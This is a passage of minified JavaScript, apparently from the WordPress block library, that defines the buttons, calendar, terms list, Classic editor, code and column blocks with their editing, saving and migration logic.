e;let{contentJustification:t,orientation:r,...a}=e;return(t||r)&&Object.assign(a,{layout:{type:"flex",...t&&{justifyContent:t},...r&&{orientation:r}}}),a},Ghe=[{attributes:{contentJustification:{type:"string"},orientation:{type:"string",default:"horizontal"}},supports:{anchor:!0,align:["wide","full"],__experimentalExposeControlsToChildren:!0,spacing:{blockGap:!0,margin:["top","bottom"],__experimentalDefaultControls:{blockGap:!0}}},isEligible:({contentJustification:e,orientation:t})=>!!e||!!t,migrate:XF,save({attributes:{contentJustification:e,orientation:t}}){return(0,I1.jsx)("div",{...E1.useBlockProps.save({className:w({[`is-content-justification-${e}`]:e,"is-vertical":t==="vertical"})}),children:(0,I1.jsx)(E1.InnerBlocks.Content,{})})}},{supports:{align:["center","left","right"],anchor:!0},save(){return(0,I1.jsx)("div",{children:(0,I1.jsx)(E1.InnerBlocks.Content,{})})},isEligible({align:e}){return e&&["center","left","right"].includes(e)},migrate(e){return XF({...e,align:void 0,contentJustification:e.align})}}],JF=Ghe;var D1=o(U(),1),cI=o(Wu(),1);var N1=o(U(),1);function Dc(e,t,r=null){if(!e)return;let a=(0,N1.getBlockType)(t);if(!a)return;let n={};if((0,N1.hasBlockSupport)(a,"anchor")&&e.anchor&&(n.anchor=e.anchor),(0,N1.hasBlockSupport)(a,"ariaLabel")&&e.ariaLabel&&(n.ariaLabel=e.ariaLabel),e.metadata){let i=[];if(r&&i.push("id","bindings"),i.length>0){let l=Object.entries(e.metadata).reduce((s,[c,u])=>(i.includes(c)&&(s[c]=c==="bindings"?r(u):u),s),{});Object.keys(l).length>0&&(n.metadata=l)}}if(Object.keys(n).length!==0)return n}var Whe={from:[{type:"block",isMultiBlock:!0,blocks:["core/button"],transform:e=>(0,D1.createBlock)("core/buttons",{},e.map(t=>(0,D1.createBlock)("core/button",t)))},{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>(0,D1.createBlock)("core/buttons",{},e.map(t=>{let{content:r}=t,a=(0,cI.__unstableCreateElement)(document,r),n=a.innerText||"",l=a.querySelector("a")?.getAttribute("href");return(0,D1.createBlock)("core/button",{...t,...Dc(t,"core/button",({content:s})=>({text:s})),text:n,url:l})})),isMatch:e=>e.every(t=>{let r=(0,cI.__unstableCreateElement)(document,t.content),a=r.innerText||"",n=r.querySelectorAll("a");return a.length<=30&&n.length<=1})}]},tO=Whe;var G_=o(T(),1),rO=o(z(),1),oO=o(U(),1),aO=o(v(),1),$he={name:"core/button",attributesToCopy:["backgroundColor","border","className","fontFamily","fontSize","gradient","style","textColor","width"]};function qhe({attributes:e,className:t}){let{fontSize:r,layout:a,style:n}=e,i=(0,G_.useBlockProps)({className:w(t,{"has-custom-font-size":r||n?.typography?.fontSize})}),{hasButtonVariations:l}=(0,rO.useSelect)(c=>({hasButtonVariations:c(oO.store).getBlockVariations("core/button","inserter").length>0}),[]),s=(0,G_.useInnerBlocksProps)(i,{defaultBlock:$he,directInsert:!l,template:[["core/button"]],templateInsertUpdatesSelection:!0,orientation:a?.orientation??"horizontal"});return(0,aO.jsx)("div",{...s})}var nO=qhe;var W_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/buttons",title:"Buttons",category:"design",allowedBlocks:["core/button"],description:"Prompt visitors to take action with a group of button-style links.",keywords:["link"],textdomain:"default",supports:{anchor:!0,align:["wide","full"],html:!1,__experimentalExposeControlsToChildren:!0,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},spacing:{blockGap:["horizontal","vertical"],padding:!0,margin:["top","bottom"],__experimentalDefaultControls:{blockGap:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},layout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},interactivity:{clientNavigation:!0},listView:!0,contentRole:!0},editorStyle:"wp-block-buttons-editor",style:"wp-block-buttons"};var $_=o(T(),1),iO=o(v(),1);function lO({attributes:e,className:t}){let{fontSize:r,style:a}=e,n=$_.useBlockProps.save({className:w(t,{"has-custom-font-size":r||a?.typography?.fontSize})}),i=$_.useInnerBlocksProps.save(n);return(0,iO.jsx)("div",{...i})}var{name:sO}=W_,cO={icon:j7,example:{attributes:{layout:{type:"flex",justifyContent:"center"}},innerBlocks:[{name:"core/button",attributes:{text:(0,uI.__)("Find out more")}},{name:"core/button",attributes:{text:(0,uI.__)("Contact us")}}]},deprecated:JF,transforms:tO,edit:nO,save:lO},Khe=()=>N({name:sO,metadata:W_,settings:cO});var dI={};q(dI,{init:()=>Jhe,metadata:()=>q_,name:()=>vO,settings:()=>bO});var q_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/calendar",title:"Calendar",category:"widgets",description:"A calendar of your site\u2019s posts.",keywords:["posts","archive"],textdomain:"default",attributes:{month:{type:"integer"},year:{type:"integer"}},supports:{anchor:!0,align:!0,html:!1,color:{link:!0,__experimentalSkipSerialization:["text","background"],__experimentalDefaultControls:{background:!0,text:!0},__experimentalSelector:"table, th"},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-calendar"};var L1=o(A(),1),uO=o(z(),1),mO=o(Iu(),1),pO=o(T(),1),dO=o(Y(),1),Df=o(I(),1),fO=o(ue(),1);var Jn=o(v(),1),Yhe=Pf(e=>{if(!e)return{};let t=new Date(e);return{year:t.getFullYear(),month:t.getMonth()+1}});function hO({attributes:e,name:t}){let{date:r,hasPosts:a,hasPostsResolved:n}=(0,uO.useSelect)(m=>{let{getEntityRecords:p,hasFinishedResolution:d}=m(dO.store),f={status:"publish",per_page:1},h=p("postType","post",f),g=d("getEntityRecords",["postType","post",f]),b,y=m("core/editor");return y&&y.getEditedPostAttribute("type")==="post"&&(b=y.getEditedPostAttribute("date")),{date:b,hasPostsResolved:g,hasPosts:g&&h?.length===1}},[]),{content:i,status:l,error:s}=(0,mO.useServerSideRender)({attributes:{...e,...Yhe(r)},block:t}),c=(0,fO.useDisabled)(),u=(0,pO.useBlockProps)({ref:c});return a?(0,Jn.jsxs)(Jn.Fragment,{children:[l==="loading"&&(0,Jn.jsx)("div",{...u,children:(0,Jn.jsx)(L1.Spinner,{})}),l==="error"&&(0,Jn.jsx)("div",{...u,children:(0,Jn.jsx)("p",{children:(0,Df.sprintf)((0,Df.__)("Error: %s"),s)})}),l==="success"&&(0,Jn.jsx)(no,{wrapperProps:u,html:i})]}):(0,Jn.jsx)("div",{...u,children:(0,Jn.jsx)(L1.Placeholder,{icon:k0,label:(0,Df.__)("Calendar"),children:n?(0,Df.__)("No published posts found."):(0,Jn.jsx)(L1.Spinner,{})})})}var pI=o(U(),1),Xhe={from:[{type:"block",blocks:["core/archives"],transform:()=>(0,pI.createBlock)("core/calendar")}],to:[{type:"block",blocks:["core/archives"],transform:()=>(0,pI.createBlock)("core/archives")}]},gO=Xhe;var{name:vO}=q_,bO={icon:k0,example:{},edit:hO,transforms:gO},Jhe=()=>N({name:vO,metadata:q_,settings:bO});var gI={};q(gI,{init:()=>rge,metadata:()=>Z_,name:()=>CO,settings:()=>SO});var Z_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/categories",title:"Terms List",category:"widgets",description:"Display a list of all terms of a given taxonomy.",keywords:["categories"],textdomain:"default",attributes:{taxonomy:{type:"string",default:"category"},displayAsDropdown:{type:"boolean",default:!1},showHierarchy:{type:"boolean",default:!1},showPostCounts:{type:"boolean",default:!1},showOnlyTopLevel:{type:"boolean",default:!1},showEmpty:{type:"boolean",default:!1},label:{type:"string",role:"content"},showLabel:{type:"boolean",default:!0}},usesContext:["enhancedPagination"],supports:{anchor:!0,align:!0,html:!1,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},editorStyle:"wp-block-categories-editor",style:"wp-block-categories"};var ir=o(A(),1),yO=o(ue(),1),Lf=o(T(),1),xO=o(Ho(),1),_r=o(I(),1);var fI=o(Y(),1),_O=o(z(),1),kO=o(yr(),1);var dt=o(v(),1);function hI({attributes:{displayAsDropdown:e,showHierarchy:t,showPostCounts:r,showOnlyTopLevel:a,showEmpty:n,label:i,showLabel:l,taxonomy:s},setAttributes:c,className:u,clientId:m}){let p=(0,yO.useInstanceId)(hI,"blocks-category-select"),{records:d,isResolvingTaxonomies:f}=(0,fI.useEntityRecords)("root","taxonomy",{per_page:-1}),h=d?.filter(V=>V.visibility.public),g=h?.find(V=>V.slug===s),b=!f&&g?.hierarchical,y={per_page:-1,hide_empty:!n,context:"view"};b&&a&&(y.parent=0);let{records:_,isResolving:x}=(0,fI.useEntityRecords)("taxonomy",s,y),{createWarningNotice:k}=(0,_O.useDispatch)(kO.store),S=V=>{V.preventDefault(),k((0,_r.__)("Links are disabled in the editor."),{id:`block-library/core/categories/redirection-prevented/${m}`,type:"snackbar"})},C=V=>_?.length?V===null?_:_.filter(({parent:G})=>G===V):[],E=V=>G=>c({[V]:G}),B=V=>V?(0,xO.decodeEntities)(V).trim():(0,_r.__)("(Untitled)"),D=()=>C(b&&t?0:null).map(K=>M(K)),M=V=>{let G=C(V.id),{id:K,link:X,count:ee,name:ne}=V;return(0,dt.jsxs)("li",{className:`cat-item cat-item-${K}`,children:[(0,dt.jsx)("a",{href:X,onClick:S,children:B(ne)}),r&&` (${ee})`,b&&t&&!!G.length&&(0,dt.jsx)("ul",{className:"children",children:G.map(J=>M(J))})]},K)},O=()=>{let G=C(b&&t?0:null);return(0,dt.jsxs)(dt.Fragment,{children:[l?(0,dt.jsx)(Lf.RichText,{className:"wp-block-categories__label","aria-label":(0,_r.__)("Label text"),placeholder:g?.name,withoutInteractiveFormatting:!0,value:i,onChange:K=>c({label:K})}):(0,dt.jsx)(ir.VisuallyHidden,{as:"label",htmlFor:p,children:i||g?.name}),(0,dt.jsxs)("select",{id:p,children:[(0,dt.jsx)("option",{children:(0,_r.sprintf)((0,_r.__)("Select %s"),g?.labels?.singular_name)}),G.map(K=>R(K,0))]})]})},R=(V,G)=>{let{id:K,count:X,name:ee}=V,ne=C(K);return[(0,dt.jsxs)("option",{className:`level-${G}`,children:[Array.from({length:G*3}).map(()=>"\xA0"),B(ee),r&&` (${X})`]},K),b&&t&&!!ne.length&&ne.map(J=>R(J,G+1))]},F=_?.length&&!e&&!x?"ul":"div",P=w(u,`wp-block-categories-taxonomy-${s}`,{"wp-block-categories-list":!!_?.length&&!e&&!x,"wp-block-categories-dropdown":!!_?.length&&e&&!x}),H=(0,Lf.useBlockProps)({className:P}),$=W();return(0,dt.jsxs)(F,{...H,children:[(0,dt.jsx)(Lf.InspectorControls,{children:(0,dt.jsxs)(ir.__experimentalToolsPanel,{label:(0,_r.__)("Settings"),resetAll:()=>{c({taxonomy:"category",displayAsDropdown:!1,showHierarchy:!1,showPostCounts:!1,showOnlyTopLevel:!1,showEmpty:!1,showLabel:!0})},dropdownMenuProps:$,children:[Array.isArray(h)&&(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>s!=="category",label:(0,_r.__)("Taxonomy"),onDeselect:()=>{c({taxonomy:"category"})},isShownByDefault:!0,children:(0,dt.jsx)(ir.SelectControl,{__next40pxDefaultSize:!0,label:(0,_r.__)("Taxonomy"),options:h.map(V=>({label:V.name,value:V.slug})),value:s,onChange:V=>c({taxonomy:V})})}),(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!!e,label:(0,_r.__)("Display as dropdown"),onDeselect:()=>c({displayAsDropdown:!1}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{label:(0,_r.__)("Display as dropdown"),checked:e,onChange:E("displayAsDropdown")})}),e&&(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!l,label:(0,_r.__)("Show label"),onDeselect:()=>c({showLabel:!0}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{className:"wp-block-categories__indentation",label:(0,_r.__)("Show label"),checked:l,onChange:E("showLabel")})}),(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!!r,label:(0,_r.__)("Show post counts"),onDeselect:()=>c({showPostCounts:!1}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{label:(0,_r.__)("Show post counts"),checked:r,onChange:E("showPostCounts")})}),b&&(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!!a,label:(0,_r.__)("Show only top level terms"),onDeselect:()=>c({showOnlyTopLevel:!1}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{label:(0,_r.__)("Show only top level terms"),checked:a,onChange:E("showOnlyTopLevel")})}),(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!!n,label:(0,_r.__)("Show empty terms"),onDeselect:()=>c({showEmpty:!1}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{label:(0,_r.__)("Show empty terms"),checked:n,onChange:E("showEmpty")})}),b&&!a&&(0,dt.jsx)(ir.__experimentalToolsPanelItem,{hasValue:()=>!!t,label:(0,_r.__)("Show hierarchy"),onDeselect:()=>c({showHierarchy:!1}),isShownByDefault:!0,children:(0,dt.jsx)(ir.ToggleControl,{label:(0,_r.__)("Show hierarchy"),checked:t,onChange:E("showHierarchy")})})]})}),x&&(0,dt.jsx)(ir.Placeholder,{icon:q0,label:(0,_r.__)("Terms"),children:(0,dt.jsx)(ir.Spinner,{})}),!x&&_?.length===0&&(0,dt.jsx)("p",{children:g.labels.no_terms}),!x&&_?.length>0&&(e?O():D())]})}var K_=o(I(),1);var tge=[{name:"terms",title:(0,K_.__)("Terms List"),icon:Mu,attributes:{taxonomy:"post_tag"},isActive:e=>e.taxonomy!=="category"},{name:"categories",title:(0,K_.__)("Categories List"),description:(0,K_.__)("Display a list of all categories."),icon:Mu,attributes:{taxonomy:"category"},isActive:["taxonomy"],isDefault:!0}],wO=tge;var{name:CO}=Z_,SO={icon:Mu,example:{},edit:hI,variations:wO},rge=()=>N({name:CO,metadata:Z_,settings:SO});var bI={};q(bI,{init:()=>lge,metadata:()=>J_,name:()=>A1,settings:()=>FO});var Lc=o(T(),1),MO=o(z(),1),Mc=o(A(),1),Af=o(j(),1),M1=o(I(),1);var TO=o(I(),1),PO=o(A(),1),Q_=o(z(),1),Y_=o(U(),1),vI=o(T(),1),BO=o(v(),1),oge=({clientId:e})=>{let{replaceBlocks:t}=(0,Q_.useDispatch)(vI.store),r=(0,Q_.useSelect)(a=>a(vI.store).getBlock(e),[e]);return(0,BO.jsx)(PO.ToolbarButton,{onClick:()=>t(r.clientId,(0,Y_.rawHandler)({HTML:(0,Y_.serialize)(r)})),children:(0,TO.__)("Convert to blocks")})},IO=oge;var EO=o(T(),1),Pl=o(A(),1),X_=o(j(),1),Mf=o(I(),1),NO=o(z(),1);var DO=o(ue(),1),Ui=o(v(),1);function age({onClick:e,isModalFullScreen:t}){return(0,DO.useViewportMatch)("small","<")?null:(0,Ui.jsx)(Pl.Button,{size:"compact",onClick:e,icon:pp,isPressed:t,label:t?(0,Mf.__)("Exit fullscreen"):(0,Mf.__)("Enter fullscreen")})}function nge(e){let t=(0,NO.useSelect)(r=>r(EO.store).getSettings().styles);return(0,X_.useEffect)(()=>{let{baseURL:r,suffix:a,settings:n}=window.wpEditorL10n.tinymce;return window.tinymce.EditorManager.overrideDefaults({base_url:r,suffix:a}),window.wp.oldEditor.initialize(e.id,{tinymce:{...n,setup(i){i.on("init",()=>{let l=i.getDoc();t.forEach(({css:s})=>{let c=l.createElement("style");c.innerHTML=s,l.head.appendChild(c)})})}}}),()=>{window.wp.oldEditor.remove(e.id)}},[]),(0,Ui.jsx)("textarea",{...e})}function LO({clientId:e,content:t,onClose:r,onChange:a}){let[n,i]=(0,X_.useState)(!1),l=`editor-${e}`;return(0,Ui.jsxs)(Pl.Modal,{title:(0,Mf.__)("Classic Editor"),onRequestClose:r,shouldCloseOnClickOutside:!1,overlayClassName:"block-editor-freeform-modal",isFullScreen:n,className:"block-editor-freeform-modal__content",headerActions:(0,Ui.jsx)(age,{onClick:()=>i(!n),isModalFullScreen:n}),children:[(0,Ui.jsx)(nge,{id:l,defaultValue:t}),(0,Ui.jsxs)(Pl.Flex,{className:"block-editor-freeform-modal__actions",justify:"flex-end",expanded:!1,children:[(0,Ui.jsx)(Pl.FlexItem,{children:(0,Ui.jsx)(Pl.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:r,children:(0,Mf.__)("Cancel")})}),(0,Ui.jsx)(Pl.FlexItem,{children:(0,Ui.jsx)(Pl.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:()=>{a(window.wp.oldEditor.getContent(l)),r()},children:(0,Mf.__)("Save")})})]})]})}var Go=o(v(),1);function AO({attributes:e,setAttributes:t,clientId:r}){let{content:a}=e,[n,i]=(0,Af.useState)(!1),l=(0,Af.useRef)(null),s=(0,MO.useSelect)(c=>c(Lc.store).canRemoveBlock(r),[r]);return(0,Go.jsxs)(Go.Fragment,{children:[s&&(0,Go.jsx)(Lc.BlockControls,{children:(0,Go.jsx)(Mc.ToolbarGroup,{children:(0,Go.jsx)(IO,{clientId:r})})}),(0,Go.jsx)(Lc.BlockControls,{children:(0,Go.jsx)(Mc.ToolbarGroup,{children:(0,Go.jsx)(Mc.ToolbarButton,{ref:l,onClick:()=>i(!0),children:(0,M1.__)("Edit")})})}),(0,Go.jsxs)("div",{...(0,Lc.useBlockProps)(),children:[a?(0,Go.jsx)(Af.RawHTML,{children:a}):(0,Go.jsx)(Mc.Placeholder,{icon:(0,Go.jsx)(Lc.BlockIcon,{icon:C0}),label:(0,M1.__)("Classic"),instructions:(0,M1.__)("Use the classic editor to add content."),children:(0,Go.jsx)(Mc.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:()=>i(!0),children:(0,M1.__)("Edit contents")})}),n&&(0,Go.jsx)(LO,{clientId:r,content:a,onClose:()=>{i(!1),l.current&&l.current.focus()},onChange:c=>t({content:c})})]})]})}var J_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/freeform",title:"Classic",category:"text",description:"Use the classic WordPress editor.",textdomain:"default",attributes:{content:{type:"string",source:"raw"}},supports:{className:!1,customClassName:!1,lock:!1,reusable:!1,renaming:!1,visibility:!1,customCSS:!1},editorStyle:"wp-block-freeform-editor"};var RO=o(j(),1),zO=o(v(),1);function VO({attributes:e}){let{content:t}=e;return(0,zO.jsx)(RO.RawHTML,{children:t})}var{name:A1}=J_,FO={icon:C0,edit:AO,save:VO},lge=()=>N({name:A1,metadata:J_,settings:FO});var wI={};q(wI,{init:()=>fge,metadata:()=>rk,name:()=>$O,settings:()=>nk});var kI=o(I(),1);var WO=o(U(),1);var yI=o(I(),1),ek=o(T(),1),tk=o(U(),1),xI=o(v(),1);function OO({attributes:e,setAttributes:t,onRemove:r,insertBlocksAfter:a,mergeBlocks:n}){let i=(0,ek.useBlockProps)();return(0,xI.jsx)("pre",{...i,children:(0,xI.jsx)(ek.RichText,{tagName:"code",identifier:"content",value:e.content,onChange:l=>t({content:l}),onRemove:r,onMerge:n,placeholder:(0,yI.__)("Write code\u2026"),"aria-label":(0,yI.__)("Code"),preserveWhiteSpace:!0,__unstablePastePlainText:!0,__unstableOnSplitAtDoubleLineEnd:()=>a((0,tk.createBlock)((0,tk.getDefaultBlockName)()))})})}var rk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/code",title:"Code",category:"text",description:"Display code snippets that respect your spacing and tabs.",textdomain:"default",attributes:{content:{type:"rich-text",source:"rich-text",selector:"code",__unstablePreserveWhiteSpace:!0,role:"content"}},supports:{align:["wide"],anchor:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{margin:["top","bottom"],padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{width:!0,color:!0}},color:{text:!0,background:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-code"};var ok=o(T(),1);var HO=o(ue(),1);function jO(e){return(0,HO.pipe)(cge,uge)(e||"")}function cge(e){return e.replace(/\[/g,"&#91;")}function uge(e){return e.replace(/^(\s*https?:)\/\/([^\s<>"]+\s*)$/m,"$1&#47;&#47;$2")}var _I=o(v(),1);function UO({attributes:e}){return(0,_I.jsx)("pre",{...ok.useBlockProps.save(),children:(0,_I.jsx)(ok.RichText.Content,{tagName:"code",value:jO(typeof e.content=="string"?e.content:e.content.toHTMLString({preserveWhiteSpace:!0}))})})}var R1=o(U(),1),ak=o(Wu(),1);var mge={from:[{type:"input",regExp:/^```$/,transform:()=>(0,R1.createBlock)("core/code")},{type:"block",blocks:["core/paragraph"],transform:e=>{let{content:t}=e;return(0,R1.createBlock)("core/code",{...e,...Dc(e,"core/code"),content:t})}},{type:"block",blocks:["core/html"],transform:e=>{let{content:t}=e;return(0,R1.createBlock)("core/code",{...e,...Dc(e,"core/code"),content:(0,ak.toHTMLString)({value:(0,ak.create)({text:t})})})}},{type:"raw",isMatch:e=>e.nodeName==="PRE"&&e.children.length===1&&e.firstChild.nodeName==="CODE",schema:{pre:{children:{code:{children:{"#text":{}}}}}}}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>{let{content:t}=e;return(0,R1.createBlock)("core/paragraph",{...Dc(e,"core/paragraph"),content:t})}}]},GO=mge;var{fieldsKey:pge,formKey:dge}=Z(WO.privateApis),{name:$O}=rk,nk={icon:S0,example:{attributes:{content:(0,kI.__)(`// A \u201Cblock\u201D is the abstract term used
// to describe units of markup that
// when composed together, form the
// content or layout of a page.
registerBlockType( name, settings );`)}},merge(e,t){return{content:e.content+`

`+t.content}},transforms:GO,edit:OO,save:UO};window.__experimentalContentOnlyInspectorFields&&(nk[pge]=[{id:"content",label:(0,kI.__)("Code"),type:"text",Edit:"rich-text"}],nk[dge]={fields:["content"]});var fge=()=>N({name:$O,metadata:rk,settings:nk});var SI={};q(SI,{init:()=>yge,metadata:()=>lk,name:()=>XO,settings:()=>JO});var qO=o(T(),1),CI=o(v(),1),hge=[{attributes:{verticalAlignment:{type:"string"},width:{type:"number",min:0,max:100}},isEligible({width:e}){return isFinite(e)},migrate(e){return{...e,width:`${e.width}%`}},save({attributes:e}){let{verticalAlignment:t,width:r}=e,a=w({[`is-vertically-aligned-${t}`]:t}),n={flexBasis:r+"%"};return(0,CI.jsx)("div",{className:a,style:n,children:(0,CI.jsx)(qO.InnerBlocks.Content,{})})}}],ZO=hge;var Wo=o(T(),1),$u=o(A(),1),ik=o(z(),1),Sp=o(I(),1);var ei=o(v(),1);function gge({width:e,setAttributes:t}){let[r]=(0,Wo.useSettings)("spacing.units"),a=(0,$u.__experimentalUseCustomUnits)({availableUnits:r||["%","px","em","rem","vw"]}),n=W();return(0,ei.jsx)($u.__experimentalToolsPanel,{label:(0,Sp.__)("Settings"),resetAll:()=>{t({width:void 0})},dropdownMenuProps:n,children:(0,ei.jsx)($u.__experimentalToolsPanelItem,{hasValue:()=>e!==void 0,label:(0,Sp.__)("Width"),onDeselect:()=>t({width:void 0}),isShownByDefault:!0,children:(0,ei.jsx)($u.__experimentalUnitControl,{label:(0,Sp.__)("Width"),__unstableInputWidth:"calc(50% - 8px)",__next40pxDefaultSize:!0,value:e||"",onChange:i=>{i=0>parseFloat(i)?"0":i,t({width:i})},units:a})})})}function vge({attributes:{verticalAlignment:e,width:t,templateLock:r,allowedBlocks:a},setAttributes:n,clientId:i}){let l=w("block-core-columns",{[`is-vertically-aligned-${e}`]:e}),{columnsIds:s,hasChildBlocks:c,rootClientId:u}=(0,ik.useSelect)(_=>{let{getBlockOrder:x,getBlockRootClientId:k}=_(Wo.store),S=k(i);return{hasChildBlocks:x(i).length>0,rootClientId:S,columnsIds:x(S)}},[i]),{updateBlockAttributes:m}=(0,ik.useDispatch)(Wo.store),p=_=>{n({verticalAlignment:_}),m(u,{verticalAlignment:null})},d=Number.isFinite(t)?t+"%":t,f=(0,Wo.useBlockProps)({className:l,style:d?{flexBasis:d}:void 0}),h=s.length,g=s.indexOf(i)+1,b=(0,Sp.sprintf)((0,Sp.__)("%1$s (%2$d of %3$d)"),f["aria-label"],g,h),y=(0,Wo.useInnerBlocksProps)({...f,"aria-label":b},{templateLock:r,allowedBlocks:a,renderAppender:c?void 0:Wo.InnerBlocks.ButtonBlockAppender});return(0,ei.jsxs)(ei.Fragment,{children:[(0,ei.jsx)(Wo.BlockControls,{children:(0,ei.jsx)(Wo.BlockVerticalAlignmentToolbar,{onChange:p,value:e,controls:["top","center","bottom","stretch"]})}),(0,ei.jsx)(Wo.InspectorControls,{children:(0,ei.jsx)(gge,{width:t,setAttributes:n})}),(0,ei.jsx)("div",{...y})]})}var KO=vge;var lk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/column",title:"Column",category:"design",parent:["core/columns"],description:"A single column within a columns block.",textdomain:"default",attributes:{verticalAlignment:{type:"string"},width:{type:"string"},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{__experimentalOnEnter:!0,anchor:!0,reusable:!1,html:!1,color:{gradients:!0,heading:!0,button:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},shadow:!0,spacing:{blockGap:!0,padding:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},layout:!0,interactivity:{clientNavigation:!0},allowedBlocks:!0}};var sk=o(T(),1),QO=o(v(),1);function YO({attributes:e}){let{verticalAlignment:t,width:r}=e,a=w({[`is-vertically-aligned-${t}`]:t}),n;if(r&&/\d/.test(r)){let s=Number.isFinite(r)?r+"%":r;!Number.isFinite(r)&&r?.endsWith("%")&&(s=Math.round(Number.parseFloat(r)*1e12)/1e12+"%"),n={flexBasis:s}}let i=sk.useBlockProps.save({className:a,style:n}),l=sk.useInnerBlocksProps.save(i);return(0,QO.jsx)("div",{...l})}var{name:XO}=lk,JO={icon:a9,edit:KO,save:YO,deprecated:ZO},yge=()=>N({name:XO,metadata:lk,settings:JO});var BI={};q(BI,{init:()=>Dge,metadata:()=>mk,name:()=>cH,settings:()=>uH});var z1=o(I(),1);var eH=o(U(),1),Pp=o(T(),1),Tp=o(v(),1);function ck(e){let{doc:t}=ck;t||(t=document.implementation.createHTMLDocument(""),ck.doc=t);let r;t.body.innerHTML=e;for(let a of t.body.firstChild.classList)if(r=a.match(/^layout-column-(\d+)$/))return Number(r[1])-1}var xge=e=>{if(!e.customTextColor&&!e.customBackgroundColor)return e;let t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor);let{customTextColor:r,customBackgroundColor:a,...n}=e;return{...n,style:t,isStackedOnMobile:!0}},tH=[{attributes:{verticalAlignment:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},textColor:{type:"string"}},migrate:xge,save({attributes:e}){let{verticalAlignment:t,backgroundColor:r,customBackgroundColor:a,textColor:n,customTextColor:i}=e,l=(0,Pp.getColorClassName)("background-color",r),s=(0,Pp.getColorClassName)("color",n),c=w({"has-background":r||a,"has-text-color":n||i,[l]:l,[s]:s,[`are-vertically-aligned-${t}`]:t});return(0,Tp.jsx)("div",{className:c||void 0,style:{backgroundColor:l?void 0:a,color:s?void 0:i},children:(0,Tp.jsx)(Pp.InnerBlocks.Content,{})})}},{attributes:{columns:{type:"number",default:2}},isEligible(e,t){return t.some(a=>/layout-column-\d+/.test(a.originalContent))?t.some(a=>ck(a.originalContent)!==void 0):!1},migrate(e,t){let a=t.reduce((l,s)=>{let{originalContent:c}=s,u=ck(c);return u===void 0&&(u=0),l[u]||(l[u]=[]),l[u].push(s),l},[]).map(l=>(0,eH.createBlock)("core/column",{},l)),{columns:n,...i}=e;return[{...i,isStackedOnMobile:!0},a]},save({attributes:e}){let{columns:t}=e;return(0,Tp.jsx)("div",{className:`has-${t}-columns`,children:(0,Tp.jsx)(Pp.InnerBlocks.Content,{})})}},{attributes:{columns:{type:"number",default:2}},migrate(e,t){let{columns:r,...a}=e;return 